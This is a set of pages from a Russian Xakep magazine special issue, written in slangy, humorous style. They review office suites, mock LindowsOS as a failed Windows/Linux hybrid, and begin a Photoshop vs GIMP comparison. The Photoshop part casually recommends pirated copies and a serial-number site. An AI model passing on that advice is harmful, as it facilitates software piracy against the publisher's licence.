Неважно, нужно это или нет, но ведь это есть в комплекте? Значит, это кому-нибудь нужно :). А еще туда классно сам по себе встроился Finereader. Мелочь, а приятно... Проверку правописания я решил проводить на тексте песен альбома "Пираты ХХI века" группы Ленинград. Как видно на скриншоте, изрядно уже подправленный мной словарь, встроенный в Офис, захлебнулся от потока новых интересных слов :). Разрисовав весь документ красным, офис не успокоился. Пришлось ему объяснить все грамматические формы, возможные для некоторых слов великого и могучего русского языка.

Об Ехеле я упомянул, а сейчас немного о пакетах, входящих в ОФИС. Powerpoint - инструмент для подготовки презентаций. Мощный, удобный, навороченный, но порождающий файло таких диких размеров, что иногда просто диву даешься. Если взять сотню фотографий со средним размером 60 кб (общим объемом, соответственно, 6 метров) и впихнуть их в презентацию, то на выхлопе получим 15-метровое файло. Новое правило математики, не иначе :).

Binder - вещь, сравнимая немного с ОпенОфисовским global document, но на порядок более удобная. Я больше скажу - офигенная вещь! Представь себе ящик, куда ты сваливаешь все, что относится к какой-либо теме. Например, ты исследуешь НЛО :). Тогда создаешь подшивку и кидаешь туда все файло, связанное с твоим увлечением. Впихнуть туда можно все документы Microsoft Office и кое-что еще, например, COREL'овские рисунки.

Базы данных - ну, тут Access вне конкуренции, потому как конкурентам-то предложить абсолютно нечего, кроме возможности подключения внешних баз данных. А Аксесс, надо сказать, достаточно неплохой. Только глючит и глухой :). Короче, как базу данных его юзать можно в качестве каталогизатора домашней фонотеки. И то я бы не рискнул. Но - на безрачье и рыба раком встает. Многих он устраивает - в принципе, можно юзать для хранения данных о персонале небольшой конторы, человек на 100, допустим.


Спецвыпуск Xakep, номер #033, стр. 033-076-3, ДУЭЛЬ НА ДЫРОКОЛАХ. Тесты офисных пакетов

ДУЭЛЬ НА ДЫРОКОЛАХ. Тесты офисных пакетов

Xander aka Александр Денисов

Спецвыпуск Xakep, номер #033, стр. 033-076-3

Microsoft photo editor - скажите честно, кто им пользуется? Но в принципе, когда нужно что-то быстро отсканить, подретушировать или еще чего, то можно и заюзать. Особенно, если фотошопы нет в наличии и отсутствуют возможности для его установки. Кстати, для такого, можно сказать, бонусного пакета у него достаточно неплохие возможности.

Frontpage. Хе-хе... незабвенный фронтпэйдж. Что характерно, в забугорье туева хуча народу юзает его и нарадоваться не может. Да и у нас тоже, собственно. Мелкософтом для него выпускаются наборы для сборки паг: всякие кнопочки, бэкграунды и прочее. Только вот сколько лишнего он вставляет в код - это уму непостижимо. Файло, созданное во Фронтпэйдже, почищенное в Macromedia Dreamweaver, весит в два, а то и более раз меньше! А если взять еще и блокнот... То руки отвалятся выделять лишние теги и давить кнопку Delete.

Теперь о том, чего нет у конкурентов и в ближайшее время вряд ли появится, - Visio. Для тех, кому это слово ничего не говорит, поясню - это мощнейший редактор схем, с огромным набором готовых модулей (назовем их так). Позволяет строить следующие схемы: диаграммы, строительные планы, схемы баз данных, принципиальные схемы для электронного инжиниринга, диаграммы производственных процессов, карты, механические схемы, карты компьютерных сетей (исключительные схемы получаются, надо сказать), схемы организаций, схемы процессов, протекающих в устройствах, карты места преступления (прикинь! силуэтики трупов, лужи крови, валяющиеся "стволы" и ножи, правда, ее скачивать нужно) и многое, многое другое. Там немереная куча иконок, которые можно подправить и экспортировать куда-нибудь, чтобы юзать на усмотрение своей больной фантазии. Еще прикольная тема - это создание карты веб-сайта. То есть ты натравливаешь его на сайт, а он начинает тебе его строить. Реальная вещь! Даже более чем!

Про потоковое вещание из Офиса я уже упоминал, но сейчас скажу подробнее. Находишь в папке с Офисом файло NSREX.EXE и запускаешь его. Интуитивно понятный интерфейс (люблю эту фразу) даст тебе возможность через 5 минут вещать в локалку или Инет (в зависимости от толщины твоего канала, конечно). Возможно, Shoutcast справится с этим получше, но представим, что нет у тебя шауткаста. А Офис есть... и выньдоуз медиаплеер есть, которым можно приконнектиться к этому потоку.

ЧТО НАМ СКАЖЕТ ТОВАРИЩ МАУЗЕР?

Два брата-акробата. StarOffice и OpenOffice. Ну, про звездный офис можно долго не рассказывать. Созданный Sun Microsystems, это единственный полноценный офис, работающий под пингвином. Koffice в расчет можно не брать, потому как птица не того уровня. Так что он у нас вроде как и вне конкуренции, получается... Ну ладно, покопаемся в Звездах...

WE ALL MADE OF STARS

СтврОффис я юзал под порядковым номером 5.2 и, честно говоря, не знаю, есть ли новее :), мне и этого хватает.

Open office - халявная попытка завалить гиганта от мелкомягких.

13 октября 2000 года корпорация Sun Microsystems открыла исходники СтарОфис. И началось... Группа товарищей занялась разработкой открытого офиса. Не могу сказать, что пакет плох. Он хорош, но пока, подчеркиваю - ПОКА он не конкурент монстру от Билла Гейтса. Пока что Майкрософт бьет OpenOffice по всем статьям на всех фронтах. У Оупена есть отличные находки, реализованные лучше, чем у MS, но их количество слишком мало по сравнению с теми возможностями, которые нам дает Microsoft Office. Естественно, если все твои задачи в офисном пакете упираются в написание одной-двух бумажек в неделю, то тебе незачем париться и замыкаться на Микрософт, можешь скачать и поставить OpenOffice, но, может, тебе хватит и Polyedit? Отличный редактор, надо сказать. Ладно, попробуем разобраться с тем, что мы имеем на халяву, на которую, как известно, и вобла - осетрина. На сайте ОпенОффис зарегистрировано около 10 миллионов слитых копий и 80 с гаком тысяч зарегистрированных пользователей. Таким образом, мы выяснили число людей, которые пожалели 200 баксов на прокорм домашних пираний Билла Гейтса :). Рассказывать я буду о двух пакетах одновременно, если в одном пакете есть что-то отсутствующее в другом, это будет озвучиваться. По дефолту же принимаем, что они похожи как клоны, чем они, в принципе, и являются.


Спецвыпуск Xakep, номер #033, стр. 033-076-4, ДУЭЛЬ НА ДЫРОКОЛАХ. Тесты офисных пакетов

ДУЭЛЬ НА ДЫРОКОЛАХ. Тесты офисных пакетов

Xander aka Александр Денисов

Спецвыпуск Xakep, номер #033, стр. 033-076-4

Writer - текстовый редактор, антипод Ворды. Хотя нет, не антипод. Ворда рвет его по функциональности как крысу поролоновую. К сожалению, хотя как простенький текстовый редактор райтер вполне катит, но если нам нужен, как говорили в стародавние времена, "текстовый процессор", Ворда рулит, однозначно. Райтер можно сравнить с чуть более навороченным блокнотом, хотя, как мне показалось, он проигрывает даже PolyEdit. Для того чтобы называться офисным пакетом, а не текстовым редактором, настроек маловато, но открывает вордовские документы исправно, иногда, правда, путается в шрифтах, но это поправимо. Проверка орфографии - тоже вполне на уровне, хотя и не такая четкая, как в Ворде. Но вот здорово порадовала такая фишка, как "Автопилот".

Отличный визард создания документов. Там есть абсолютно пинцетный шаблон повестки дня :). Ну а что делать, нужны они иногда. Да, в Ворде тоже есть шаблоны, но если в Ворде ты просто берешь и правишь его, то здесь ты создаешь шаблон с помощью мастера, на лету выкидывая из него все то, что тебе не нужно, с добавлением необходимых пунктов, ИМХО - жирный плюс.

Ну и о плохом. Начав с частностей, перейду к общему. Иногда для своих друзей мне приходится делать персональный штрихкод с именем человека. Типа модно стало татухи такие делать в последнее время. Так вот, в Ворд они портируются, а в райтер нет. Такая же ботва и с другими импортируемыми объектами.

Calc - возможная замена Ехелю. Ну, давай посмотрим, на что мы можем поменять нашего счетовода. Встроенных функций почти 290 против 235 у экселя. Результат для новичка более чем неплохой. Чем же он нас еще удивит? Удивит он нас приблудой "Навигатор". Чем она интересна? Да тем, что показывает все объекты в текущем документе: таблицы, области данных, области данных из баз данных, связанные области, объекты OLE, рисунки, в общем, все, что есть в документе. В ехеле такого нет, а жаль. Но в остальном калька отсасывает. Потому как ненастраиваемый интерфейс - реально отстойная вещь. Сравни три скрина, и все будет понятно.


Спецвыпуск Xakep, номер #033, стр. 033-076-5, ДУЭЛЬ НА ДЫРОКОЛАХ. Тесты офисных пакетов

ДУЭЛЬ НА ДЫРОКОЛАХ. Тесты офисных пакетов

Xander aka Александр Денисов

Спецвыпуск Xakep, номер #033, стр. 033-076-5

По поводу написания макросов для старофиса и опенофиса у меня возникло противоречивое чувство. С одной стороны, там немереное количество заготовок кода, которое реально упрощает жизнь, с другой - там нет элементарных вещей, например, вставки формы одной кнопкой...

Есть в нем еще одна байда, существующая, надо отметить справедливости ради, и в офисе от Билла, но реализованная здесь гораздо мощнее - автотекст. Начинаешь ты чего-то там тапать по клаве, а через некоторое время прога сама начинает пихать тебе разные предложения по завершении разных длинных слов. Раздражает неимоверно :)! Поначалу... Потом, когда фигаришь курсовик с какими-то немереными по длине научными терминами или текст на иностранном языке, понимаешь всю прелесть этой фишки. Попробовал обучить его дописывать за меня фамилию Бьйорк - получилось! Так что даже с такими словами, как Gudmundsdottir, он отлично справляется :). Короче, печатаешь, не смотря на клаву (я надеюсь, ты печатаешь, не смотря на клаву, так ведь? :), а при появлении сочетания знаков из базы прога предложит тебе вариант, подходит - жмакай Enter, нет - печатай дальше. Еще можно настроить автозамену наиболее часто встречающихся очепяток. Я, например, часто фигарю "посомтрел" вместо "посмотрел". Но ведь и в Ворде это есть...

Еще есть "Исключения" - тебя не бесит, когда Ворд, после того как ты написал "встретимся в 12 час.", фигарит большую букву? Меня, честно говоря, дико бесит! Здесь ты можешь забить нужные сокращения и забыть о больших буквах.

Еще можно прямо в текстовый документ загонять данные из баз данных. Навигатор вызывается пимпой F4.

Еще есть такая фишка, как поле данных. Де-факто это переменная, вместо которой в текст будет подставлено нужное тебе значение. Фишка в том, что можно ограничиться колонтитулом, а можно использовать подстановки из базы данных. То есть создаешь таблицу с именами людей и всякими адресами-атрибутами и, юзая один шаблон с соответствующими полями, автоматизируешь процесс распечатки писем, например, когда нужно ответить сразу многим людям. Вызывается эта прелесть клавишами "Ctrl-F2". Опять же нужно заметить, что подобная байда есть и в Ворде.

Еще одна довольно оригинальная фигня зашита в СтарОфисе и ОпенОфисе. В них стилями текста рулит "Стилист". Дави F11 и разбирайся. Здесь настраивается все, что касается облика твоего документа, все стили разводятся по иерархии, типа как дерево. На деле очень удобно. В стиле абзаца можно просетапить шрифт, атрибуты, цвета, интервалы, выравнивание на странице и прочее и прочее.

АРГАНАЙЗМИРУЙ!

Теперь обратимся к органайзерам. Известно, что Аутглюк оправдывает свое название. Вместе с тем куча народу юзает его и будет продолжать юзать. Ну да Пикачу с ними. В ОпенОфис органайзера нет. Ну нет его! В СтарОфисе есть. Разбит он, правда, на две части: одна из них называется Events, другая Tasks; соответственно, одна является напоминалкой, другая - задачником.


Спецвыпуск Xakep, номер #033, стр. 033-076-6, ДУЭЛЬ НА ДЫРОКОЛАХ. Тесты офисных пакетов

ДУЭЛЬ НА ДЫРОКОЛАХ. Тесты офисных пакетов

Xander aka Александр Денисов

Спецвыпуск Xakep, номер #033, стр. 033-076-6

Как видно, опять он отсасывает у Аутлюка в плане дизигна, хотя по безопасности дает 100 очков форы. Но... у меня есть органайзер в Мозилле, извини, детка, мое сердце занято.

РЕЗЮМЕ ПО ФАКСУ

Короче говоря, пока, повторюсь, ПОКА в Винде лучше офиса от Микрософт не найдешь. А вот если они свой офис в Линукс портируют... Боюсь, тогда и Старофису кирдык придет.

Binder - вещь, сравнимая немного с ОпенОфисовским global document, но на порядок более удобная. Я больше скажу - офигенная вещь! Представь себе ящик, куда ты сваливаешь все, что относится к какой-либо теме.


Спецвыпуск Xakep, номер #033, стр. 033-080-1, ОСЬ-МУТАНТ. УНИЧТОЖАЕМ МИФ LINDOWS

ОСЬ-МУТАНТ. УНИЧТОЖАЕМ МИФ LINDOWS

Vint (vint@townnet.ru)

Спецвыпуск Xakep, номер #033, стр. 033-080-1

Хай! Ну, как тебе наша мозговая атака по ОСям? Выбрал себе лучшую? Все еще сомневаешься... Ну, ну... Короче, лови в нагрузку ОС, созданную на базе ядра Linux, но призванную работать с софтом окошек легко и просто. Имя ей Lindows. Слышал, но не знал, что это? Читай дальше и ты откроешь для себя много нового.

КАК СКРЕЩИВАЛИ ПИНГВИНА С ФОРТОЧКОЙ

Все началось не очень давно. В июле 2001 года челом по имени Майкл Робертсон (Michael Robertson) была основана компания Lindows.com. Надо сказать, что мэн этот далеко не был человеком ниоткуда, это бывший руководитель многими любимого MP3.com, и поэтому у него были соответствующие знания и возможности, чтобы начать такой, прямо скажем, неслабый проектик.

Сперва Lindows.com решили действовать очень просто: сообразить версию Linux (зацени, версию, а не отдельную ОС), на которой будет работать большинство софта от Виндов. Но все пошло далеко не так гладко, как хотели. Великий и могучий мелкомягкий Билл замутил судебный конфликт, и в результате Линдовс Тим отказалась от первоначальных планов и стала говорить, что ее операционка будет работать только с "мостовыми Windows-программами", что на наш язык означает - основной софт будет работать. Такими "мостовыми Виндовс программами" являются некоторые основные части мелкого офиса и експлорера ;). Это заставило всех круто призадуматься, хотя и так в декабре прошлого года зло-корпорация объявила, что намерена через суд отобрать имя "Линдовс" у Майкла. Обосновывается это тем, что юзеры могут спутать Линдовс с их великой мастдайкой и "по ошибке" приобрести не ту ось :). На что очень хорошо ответил глава Линдовов в своем письме дядюшке Биллу: "Насколько я понял ваше исковое заявление, вы говорите, что покупатели будут путать наше слово "LindowsOS" и слово Windows из операционных систем Microsoft "XP Professional" и "XP Home". Однако любой, взглянув на логотип Lindows, может убедиться, что тот ничуть не похож на логотип Windows XP". Так что еще до суда проницательный взгляд видел во всей этой шумихе по поводу новой оськи только попытку мелкомягких прибить конкурентов. Точно так же можно сказать, что наименование Windows, считающееся теперь товарной маркой Микрософта, задолго до них использовалось в Юникс, в частности в его графической оболочке Х-window. Я уж молчу про MAC OS, с которой Билли в наглую слизал графическое ядро Виндов. В результате "самый гуманный" суд решил все просто: послать на три веселых буквы дядю Билла и отдать лейбак "Линдовс" Майклу. Гип-гип ура! Ось будет жить!

А сейчас посмотрим, что же собой представляет эта шумная, являющаяся в ночных кошмарах мелкомягким топ манагерам операционка.

ВОТ ТАКИЕ МЫ... МУТАНТЫ

Начну с того, что я честно переписал 385 мегов инсталлера ОС с именем LindowsOS 3.0.5 от 2002.12.09_13.00, хотя при этом в папочке _disk да в файле info было красиво написано LindowsOS 0.91. Дальше меня заинтересовали системные требования, которые, ИМХО, слегка завышены: 500 МГц камень, 128 метров мозгов да еще гиг на винте. Я открыл этот диск в Виндах, дабы почитать реадмихи и посмотреть на инсталлер, работающий в форточках (до этого я в инете пошастал, и многие с пеной у рта расхваливали инсталлер этой ОС, позволяющий ставить ее без переразбивки диска), но то ли у меня версия больно новая, то ли больно кастрированная, но ничего подобного я не нашел. Была лишь одна страничка с ссылкой на http://www.lindows.com, и все. То есть по инсталл-инфе этот дистр - на нуле, даже в инсталляхе ДОСа было чего почитать.


Спецвыпуск Xakep, номер #033, стр. 033-080-2, ОСЬ-МУТАНТ. УНИЧТОЖАЕМ МИФ LINDOWS

ОСЬ-МУТАНТ. УНИЧТОЖАЕМ МИФ LINDOWS

Vint (vint@townnet.ru)

Спецвыпуск Xakep, номер #033, стр. 033-080-2

Ну что делать, не впервой. Принялся я с замиранием сердца перезагружаться в надежде запустить инсталл с сидирома. Мда... По загрузке - стандартный линуховый дистр, даже сообщения, выводимые на экран, слово в слово пингвиньи. Ну, продолжим. Переход в графическую часть установки у меня ознаменовался великим зависоном. Система вообще не реагировала ни на что, и так постоянно, только переход в графику, и все... аут! Пробившись с этим траблом тридцать минут, я таки нашел решение: жмем при начале загрузки shift+caps lock и выбираем режим Vesa install, причем никаких подсказок о том, что можно чего-то нажать, нет и в помине. Я опять вздохнул и подумал: "Если установка началась с такого финта, то как она будет работать-то дальше?". А дальше меня удивили еще сильней и опять неприятно: инсталлятор упрощен до такой степени, что поставить любую Винду по сравнению с Линдовс - все равно что настроить сервак на консольном юнихе восьмидесятых годов выпуска. За всю инсталляцию я увидел только ОДИН вопрос: "Куда ставить?" - и все, хотя и был в режиме эксперта...

После десятиминутного инсталла (да, установка длилась ровно десять минут) я на всякий случай сходил, налил, чего осталось со вчерашнего ;), и нажал на ресет, мечтая лицезреть новоявленную Ось, и сразу увидел морду передранного Lilo. Ладно, Линдовс, давай показывай, что тут у тебя. Но после двух минут загрузки я увидел только черный, антрацитовый экран. Что за!.. Неужто этот гад прибил мне винт или попалил железо (чего только не приглючится от неожиданности)? Дрожащей рукой нажал на перезагрузку - Винда загрузилась нормально. Тут до меня дошло: Линдавс юзает графический сервер XFree, причем, судя по версии ядра, используется версия 4.2, которая сильно меня парила, пытаясь врубить 3D ускорение через такую Ж, что мой джифорс 256 загибался и выдавал черный экран, что и было удачно продемонстрировано. Хорошо, загрузимся-ка мы в сейф моде, чтобы пояснить тупой оське, что не надо пытаться выжать из моей видюхи рулез таким образом. Но надежды на ум разработчиков опять меня обманули: когда после трехминутного процесса загрузки я узрел веселый видок на консоль мутанта, спертую у Линуха. Я офигел - хотелось бы увидеть хоть какой-то GUI, пусть с минимальной конфигурацией, видюха - как стандартный VGA адаптер, короче, как в сейф моде у Виндов.

После такого финта мне стал непонятен третий пункт загрузчика - configure. Хмм... загрузим... По экрану пробежали те же сообщения о ходе загрузки... В результате - та же консоль. Растолкуйте мне, идиоту, зачем делать два вроде бы разных пункта по назначению, но имеющие одинаковый результат? В общем, попарился я минут тридцать и решил отложить более подробное изучение этой ОСи до завтра.


Спецвыпуск Xakep, номер #033, стр. 033-080-3, ОСЬ-МУТАНТ. УНИЧТОЖАЕМ МИФ LINDOWS

ОСЬ-МУТАНТ. УНИЧТОЖАЕМ МИФ LINDOWS

Vint (vint@townnet.ru)

Спецвыпуск Xakep, номер #033, стр. 033-080-3

И вот желанный вечер следующего дня. Весь день я потратил на беганье по знакомым и знакомым знакомых в поисках стабильной видюшки. И вот приволок домой джефорс 2 МХ 400 с 64 метрами памяти, которая хорошо зарекомендовала себя по совместимости с разными хитрыми операционками. Воткнул, перегрузился - нет рабочего стола! Только графическая консоль Линуха. Решил переставить Линдавозину еще разок, чтоб железо лучше прочухала. Перестановка, длившаяся ровно 10 минут, убедила меня, что решение всех траблов этой ОС, как и у Виндов, можно найти в полной переустановке. Наконец все заработало! А я начал тестить ОСь во все щели. Короче, читай и думай, надо оно тебе или нет?

МЯСОМ НАРУЖУ

Сразу вижу единственный оконный менеджер - KDE версии 3.0, правда, с чуток измененной темой. А вот любители гнома, айсвиша и блекбокса пока отдыхают. Нужны другие окошки - ищите и ставьте сами, причем через гимор неместного масштаба. Сердце графики - XFree86 4.2.0. Он глючноватый, особенно по части 3D на некоторых картах, хотя жить можно (жил же я без траблов и на ALT Master, и на манрейке с редхатом), но такого изврата, как замутили линдовсянцы, я не видел: иксфрии ставится всегда с аппаратным ускорением, вырубить которое не представляется возможным, из-за чего мне и пришлось сменить карту.

Бредем дальше. Ядрышко - не самое новое, но и не отстой, 2.4.19, как и у девятого Манрейка. А вот полное отсутствие исходников меня сильно-пресильно расстроило - без них я не смог запустить софт модем, хотя имел сорцы рабочего драйвера. Вот почему мне пришлось забить на их супер-пупер технологию "click-n-run", предназначенную для выкачки софта прямиком из инета (правда, потом, купив хардовый модем, я ее протестил - отстой тот еще).

"Дальше в лес - больше дров", - думал я, пытаясь настроить звук на своей машине. Линда в упор не видит и не понимает, что у меня есть девайс под названием саундбластер, на чипе фортамедиа 801. Самое интересное, что ВСЕ дистры Линуха (на память - Mandrake 8.2, 9.0, 9.1; ALT Master 2.2;Red Hat 8.0/9.0), протестенные мной, ее видели и корректно ставили драйвера, но при этом НИ ОДНА Винда ее не замечала, и даже многими обожаемая ХРюша спотыкалась. То есть Линдовс в этом плане взяла вся худшее от творения дяди Билла.

Дальнейшему моему рассмотрению подвергся софт, поставляемый на дистре, вместе с ОС. Точнее его отсутствие - из бутива поставились софтины, которые можно пересчитать по пальцам (да не по двадцати пальцам мутанта, а по обычным шести ;)). После тщательнейшего поиска я нарыл браузер, корявую мыльницу, видеоплеер, который никак не хотел играть mpeg4 (типа кодеков нету), простейшую смотрелку графики да звонилку до инета. Вот, пожалуй, и все. А больше всего мне не понравилось то, что на болванке с Линдой было занято только 400 мегов. То есть разработчики легко могли укомплектовать свое детище софтом еще на целых 300 метров. Почему они так не поступили, мне неясно, ведь софт-то халявный!


Спецвыпуск Xakep, номер #033, стр. 033-080-4, ОСЬ-МУТАНТ. УНИЧТОЖАЕМ МИФ LINDOWS

ОСЬ-МУТАНТ. УНИЧТОЖАЕМ МИФ LINDOWS

Vint (vint@townnet.ru)

Спецвыпуск Xakep, номер #033, стр. 033-080-4

Дальше я вызвал консоль, которая сразу выпала... с правами рута! По привычке набрал mc, желая увидеть командера... Хрен там было! Нет такой софтины в составе ОС. Тогда бьем gcc - та же реакция. Озверев, выбиваю man, чтобы поискать инфы; не тут-то было, "command not found" - сообщает мне терминал. После таких манипуляций с консолью мое настроение и вера в эту систему опустились ниже пейджера. Поднять такую шумиху и рекламу из-за какой-то дурацкой пародии на дистрибутив Линукса! Так что дальнейшие мои исследования проходили в скептическом настрое.

ЖРИ ВИНДОВЫЙ СОФТ!

Надеясь потестить великую способность запуска виндозовских прог в среде Линдовс, я запихал в сидюк свеженький диск - приложение к журналу, кликнул по экзешке... и получил окошко, вопрошающее: "Сир, а чем изволите открыть эту хрень с расширением .ехе? Текстовым редактором? Браузером? Или еще чем?". После такого мне стало жалко потраченного на Линдовс времени. Еще одна фича новой ОС оказалась всего лишь полнейшей плюшкой мирового масштаба.

После этого решил обратиться к манам и найти ответы на все мои вопросы и решения моих проблем, но, кликнув на ссылку из главного меню, я был закинут в инет на их сайт с рекламными восхвалениями новой бадяги. Но я ведь упертый, поэтому решил порыться в рунете и докопаться до истины, причем назло всем стал эту миссию выполнять прямо из Линдовс.

Настройка соединения не вызвала каких-либо траблов (звонилка - стандартная линуховская кррр'шка, вот в чем секрет легкого дозвона :)), а вот браузер, загрузившись, отправил меня в полный аут - поддержка кириллицы из ОС выдрана с корнем! Никакие принципы линуховской международной операционки не соблюдены, что вряд ли пойдет на пользу Линдовс. С этим я смирился. Но оттого, что каталог /mnt содержит только сидиром и дискету, я до сих пор икаю. Для тех, кто на катке, поясняю: каталог /mnt содержит все примонтированные файловые системы. Например, у тебя на винте есть раздел Виндов, и тебе надо достать его из-под Линуха. Чтобы увидеть раздел Виндавоза, тебе необходимо выполнить команду mount (если нет автоматического монтирования), тогда в каталоге /mnt появится новая ссылка на свежепримотанный том. Исходя из здравого смысла, раз уж эта ОС претендует на звание пользовательской, все разделы по-любому должны монтироваться автоматом, поэтому я начал искать заветные разделы Виндов в корневом каталоге и нашел таки, правда, в папке /disks. Там были рабочие ссылки на 4 моих виндовых раздела. NTFS том, естественно, отсутствовал. Войдя в эти разделы, я даже не удивился, что все русские буквы в именах были элегантно заменены знаком вопроса. Я подозревал, что у Линды напрочь отсутствовало понятие о монтировании, с учетом языка. К счастью, у меня основные папки имеют только английские названия (для защиты от таких же полоумных пчел), и я смог добраться до папки с заготовкой статьи, чтобы продолжить описание нашего монстра. Кликанье по вордовскому документу заставило запуститься браузер, который смело полез в инет, видимо, желая слить оттуда недостающую софтину для чтения таких странных файлов. Но я ему это запретил - инет платен, поэтому переживем пока так. Потестим лучше встроенные средства редактирования текста. Из редакторов был найден только стандартный линуховский, причем очень покоцанный - никак не хотел читать русский текст, изображая кучу квадратиков. Тут душа поэта не выдержала, поэтому смело перехожу к выводам.


Спецвыпуск Xakep, номер #033, стр. 033-080-5, ОСЬ-МУТАНТ. УНИЧТОЖАЕМ МИФ LINDOWS

ОСЬ-МУТАНТ. УНИЧТОЖАЕМ МИФ LINDOWS

Vint (vint@townnet.ru)

Спецвыпуск Xakep, номер #033, стр. 033-080-5

СУММ ДЕР ВНИЗ

Идея объединения мира Виндов и мира пингвина заманчива и красива, но реализация, представленная Майклом Робертсоном сотоварищи, сыра и ужасна. Уже начиная с установки, ОСь оставляет неудовлетворительное впечатление, подкрепляемое всевозможными багами и недоработками, в изобилии выплывающими во время работы. Поддержка железа реализована, по моему мнению, плохо. Так ни звуковуха, ни видюха, сколько я ни шаманил, не запустились, а о софт модеме и говорить не приходится.

Отсутствие исходников ядра и компилятора в дистрибутиве системы автоматически переводит ее в разряд "Special for Lamer" - мы не сможем запустить нестандартное железо и поюзать софт, распространяемый в виде сорцов. Таким образом, Линда теряет совместимость с очень большим пластом ПО, ориентированным на Линукс. Также отсутствие собственного софта на дистре очень удручает - мы не миллионеры, чтоб все лить из инета, юзая тормознутую технологию клик анд ран (типа нажал и иди пей кофе, пока не скачается полсайта).

У продвинутых юзеров Линукс данная ОСь вызовет только рвотный рефлекс. Отсутствует всегда так необходимый man, полный изврат с точками монтирования, даже раздел / умудрились назвать диском C:. Линдовс - это попытка сделать Линукс для чайников. Типа - на хрена консоль? Урежем половину команд. Зачем трудные настройки? Пусть кликают и бегут в инет за софтом. Зачем опции в инсталле? Пусть все по дефолту. Может, и не будет работать, зато без настроек. То есть на данный момент эта система не подходит ни ламеру, ни хакеру, ни админу. Окончательный вердикт: полный АТСТОЙ, какого еще никто не видел. В довершение картины скажу о цене: 100 баксов за болвань (чем не Винда?).

Все худшее из обеих операционок слилось в великую ОСь Lindows. Вся шумиха и боязнь мелкомягких на данный момент необоснованны: Линдовс в теперешней реализации мертва и не может составить хоть малейшей конкуренции Виндам, не говоря уж о Линухе. Хотя они и пытаются пропихнуть своего уродца даже на ноутбуки! Но этим маркетинговая политика Майкла не закончилась, он решил начать продавать свой мультимедийный комп, естественно, на базе Линдовса, который сможет играть видео и музыку. Также девайс будет выполнять простейшие действия типа набора текста, причем цена его, по заверению самого Майкла, будет очень низкой.

Вот и все, что удалось нарыть про загадочное чудо Lindows. Пошел выметать это чудо с винта поганой метлой и строчить послания во все эхи, дабы доказать отстойность этой системы.

"Насколько я понял ваше исковое заявление, вы говорите, что покупатели будут путать наше слово "LindowsOS" и слово Windows из операционных систем Microsoft "XP Professional" и "XP Home". Однако любой, взглянув на логотип Lindows, может убедиться, что тот ничуть не похож на логотип Windows XP".


Спецвыпуск Xakep, номер #033, стр. 033-084-1, PHOTOSHOP vs GIMP Схватка лучших редакторов!

PHOTOSHOP vs GIMP Схватка лучших редакторов!

Докучаев Дмитрий aka Forb

Спецвыпуск Xakep, номер #033, стр. 033-084-1

(forb@real.xakep.ru)

У человека, занимающегося определенной деятельностью, обязательно существует свой список программ, без которых он не может обойтись. Например, хакер не может и дня прожить без своего любимого ssh-клиента, популярного эксплойта и ICQ-пагера ;). Если ты дизайнер, то твоя работа невозможна без хорошего html-отладчика и профессионального редактора изображений. Вот и добрались, наконец. Сегодня мы поговорим как раз о таких мощных средах разработки художественных шедевров :).

На правой половине нашего "ринга" находится всем известный Adobe Photoshop, на левой - менее известный форточным дизайнерам GIMP. По итогам нашего виртуального боя мы узнаем, кто же истинный победитель и достоин звания абсолютного чемпиона.

Раунд первый: доставка, установка

Итак, поехали. Начнем с самого главного - добычи и установки наших редакторов. Несложно догадаться, что Фотошоп можно найти на странице производителя. Тыкаясь в ссылки, я, наконец, дошел до нужной паги http://www.adobe.com/support/downloads/product.jsp?product=39&platform=Windows, где мне предлагали забрать редактор под Windows. Невольно взглянул на размер, и вся охота качать его у меня мгновенно пропала, потому как вес эдитора был 160 мегабайт. Конечно, в эти 160 мегов было вложено много возможностей и примочек, но если ты сидишь на платном трафике, то Фотошоп ты, естественно, качать не будешь. Ты можешь взять его из других источников - на варезном сидюке или у соседа по локалке, ибо такой распространенный редактор можно найти в любом месте.

Теперь время для GIMP. Идем на сайт производителя (www.gimp.org) и видим аккуратный список FTP-серверов, откуда нам заботливо предлагают вытянуть последнюю версию редактора. Что печально, российского сервера там не наблюдается ;). Что ж, ограничимся буржуйским серваком. Полный линк на GIMP выглядит следующим образом: ftp://ftp.cs.umn.edu/pub/gimp/v1.2/v1.2.5/gimp-1.2.5.tar.gz. Вес эдитора всего 14 мегов. Я думаю, для любого человека стянуть такой размер из глобала не составит особого напряга. В итоге получаем решительный удар по Фотошопу со стороны GIMP'a - размер первого в десятки раз превышает второй.

А что с установкой? Тут все более-менее стандартно и без приключений. Распаковав, например, GIMP, достаточно сказать три магических слова ./configure, make, make install, и перед тобой предстанет горячий бинарник /usr/local/bin/gimp, который ты можешь безболезненно запустить :). Запустил? Тогда ты видишь дружественную среду установщика, любезно предоставляющего тебе Licence Agreement. После подтверждения лицензии тебе зададут ряд вопросов о размере кэша для изображений, а также путях для сохранения изображений. Я думаю, разобраться в этом может даже ребенок. А ты чего ожидал? Мучительного редактирования непонятного gimp.conf? Чувак! Linux не так сложен, как кажется на первый взгляд ;). Распаковавшись, GIMP займет у тебя на винте около 60 мегов; я считаю, что ничего страшного в этом нет. После демонстративного прокручивания полосы инсталлятора тебя поздравят с успешной установкой редактора, не создадут никаких ярлычков на рабочем столе и со спокойной совестью отправят читать мануал ;).


Спецвыпуск Xakep, номер #033, стр. 033-084-2, PHOTOSHOP vs GIMP Схватка лучших редакторов!

PHOTOSHOP vs GIMP Схватка лучших редакторов!

Докучаев Дмитрий aka Forb

Спецвыпуск Xakep, номер #033, стр. 033-084-2

С Photoshop все обстоит несколько иначе. После того как ты в муках скачал пакет, установщик почему-то спросит у тебя твою страну, имя, фамилию и кличку твоей собаки :). Как окажется позже, эти данные ему нужны для процесса регистрации Фотопопы. Затем у тебя заботливо спросят серийник, который ты, конечно же, найдешь на http://astalavista.box.sk/ :). Либо, если ты исправно платишь налоги, тебе придется заплатить 690 буказоидов и получить от Adobe фирменный сидюк с Photoshop (либо серийник почтой). Если серийник валиден, инсталлер установит все необходимые файлы в установочную директорию (по умолчанию c:\program files\adobe\photoshop 7.0). Вес этой самой папки будет около 190 килограммов (я хотел сказать, мегабайт :)).

Фриварность GIMP намного рулезнее шароварности Photoshop, поэтому решающий удар опять-таки поступает со стороны редактора под правильную ось ;).

Подведем итоги первого раунда. Со счетом 1:0 на начальной стадии лидирует GIMP. Надеемся, что Фотошоп покажет себя непосредственно в работе.

Раунд 2: удобство в работе

Итак, второй раунд. Рассмотрим наши лучшие редакторы в работе. Я не буду заходить в дебри, а лишь протестирую их на базовые возможности, коими чаще всего пользуются дизайнеры.

